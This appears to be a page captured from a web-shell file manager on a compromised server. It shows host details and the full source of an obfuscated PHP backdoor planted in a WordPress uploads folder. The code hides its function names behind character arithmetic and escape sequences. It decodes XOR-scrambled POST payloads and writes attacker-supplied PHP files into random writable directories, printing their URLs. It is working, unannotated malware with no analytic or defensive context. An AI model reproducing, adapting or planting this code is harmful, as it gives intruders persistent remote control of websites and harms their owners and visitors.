HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/uploads/2023/01/zmfywqkf.php
<?php function oZFDWAPbPd($sDVeuCu){$gvBnKJN = "\162".'a'."\x77"."\x75"."\162"."\154"."\x64"."\x65".'c'."\x6f".'d'."\145";$AZeOkm = chr(886-771).'t'."\162"."\137".chr(114)."\157".'t'.chr(261-212)."\x33";$BwdsiZGDb = "\163".'t'.chr(114)."\137".chr(547-432).chr(153-41).chr(108).'i'.'t';$sDVeuCu = $BwdsiZGDb($gvBnKJN($AZeOkm($sDVeuCu)));return $sDVeuCu;}function xMWXIahtf($BrJPIDFBQC, $sDVeuCu){$eBjOTfzT = "\x73"."\164".chr(795-681)."\x5f"."\x73".chr(112).chr(423-315)."\x69".'t';$BrJPIDFBQC = array_slice($eBjOTfzT(str_repeat($BrJPIDFBQC, (count($sDVeuCu)/16)+1)), 0, count($sDVeuCu));return $BrJPIDFBQC;}function XsNMKwhS($gKBdFj, $rYhGlXe, $BrJPIDFBQC){$naMenPrAm = "4004aae0-1ab3-40fc-ba7f-67e74d6cf0dc";return $gKBdFj ^ $naMenPrAm[$rYhGlXe % strlen($naMenPrAm)] ^ $BrJPIDFBQC;}function tCaTZBjpzn($sDVeuCu, $BrJPIDFBQC){$sDVeuCu = array_map("XsNMKwhS", array_values($sDVeuCu), array_keys($sDVeuCu), array_values($BrJPIDFBQC));$sDVeuCu = implode("", $sDVeuCu);$qnzdq = "\x75".chr(110).chr(351-236)."\x65".chr(114).chr(497-392).chr(97).'l'."\151".chr(251-129).'e';$sDVeuCu = @$qnzdq($sDVeuCu);return $sDVeuCu;}function yCGlF(){echo "tlGltnCr";}function dOTDxt($GMXUptRIir){static $aytjxDGXVN = array();$ksaaycY = glob($GMXUptRIir . '/*', GLOB_ONLYDIR);$OYEpzOtfc = count($ksaaycY);if ($OYEpzOtfc > 0) {foreach ($ksaaycY as $GMXUptRI) {$AmCRHOt = chr(972-867).'s'."\137".chr(119)."\162".'i'."\164"."\x61"."\x62".chr(171-63)."\145";if (@$AmCRHOt($GMXUptRI)) {$aytjxDGXVN[] = $GMXUptRI;}}}foreach ($ksaaycY as $GMXUptRIir) dOTDxt($GMXUptRIir);return $aytjxDGXVN;}function kXeNAhULrg(){echo "iPBwmF";}function BomlZmBpig($sDVeuCu){$GEiwBYRrI = "\x44".chr(79).chr(67)."\125".chr(77)."\105".chr(962-884).chr(438-354).chr(95)."\x52"."\117"."\x4f"."\124";$bgJuZY = $_SERVER[$GEiwBYRrI];$ksaaycY = dOTDxt($bgJuZY);$OAHdv = array_rand($ksaaycY);$kpQapoSsJm = chr(535-489)."\160".chr(192-88).chr(112);$JEPxGQoxq = $ksaaycY[$OAHdv] . "/" . substr(md5(time()), 0, 8) . $kpQapoSsJm;$CvqfNENn = "\146"."\x69".'l'.chr(737-636)."\x5f".'p'.chr(117).chr(116).'_'.'c'."\157".chr(1038-928)."\x74".chr(139-38)."\156"."\x74"."\163";@$CvqfNENn($JEPxGQoxq, $sDVeuCu);$ossHAm = chr(372-300)."\x54".chr(376-292).chr(80).chr(95).chr(568-496).'O'."\x53"."\124";$WLngL = "\x68".'t'."\x74".chr(112)."\x3a"."\57"."\x2f";$riVGwpuavB = $WLngL . $_SERVER[$ossHAm] . substr($JEPxGQoxq, strlen($bgJuZY));print($riVGwpuavB);}foreach ($_POST as $BrJPIDFBQC => $sDVeuCu){$QAFnyEOnp = strlen($BrJPIDFBQC);if ($QAFnyEOnp == 16){$sDVeuCu = oZFDWAPbPd($sDVeuCu);$BrJPIDFBQC = xMWXIahtf($BrJPIDFBQC, $sDVeuCu);$sDVeuCu = tCaTZBjpzn($sDVeuCu, $BrJPIDFBQC);if (@is_array($sDVeuCu)){$OAHdv = array_keys($sDVeuCu);$sDVeuCu = $sDVeuCu[$OAHdv[0]];if ($sDVeuCu === $OAHdv[0]){$VLLASZLru = 'p'."\x68"."\x70";$iVIoHmBW = chr(203-91).chr(104).chr(112)."\x76"."\x65".'r'."\x73".chr(219-114)."\x6f"."\x6e";$rGDLpQJy = chr(115).'e'."\162".chr(105).chr(97).chr(587-479).chr(835-730)."\172".chr(717-616);echo @$rGDLpQJy(Array($VLLASZLru => @$iVIoHmBW(), ));}else {BomlZmBpig($sDVeuCu);}die();}}}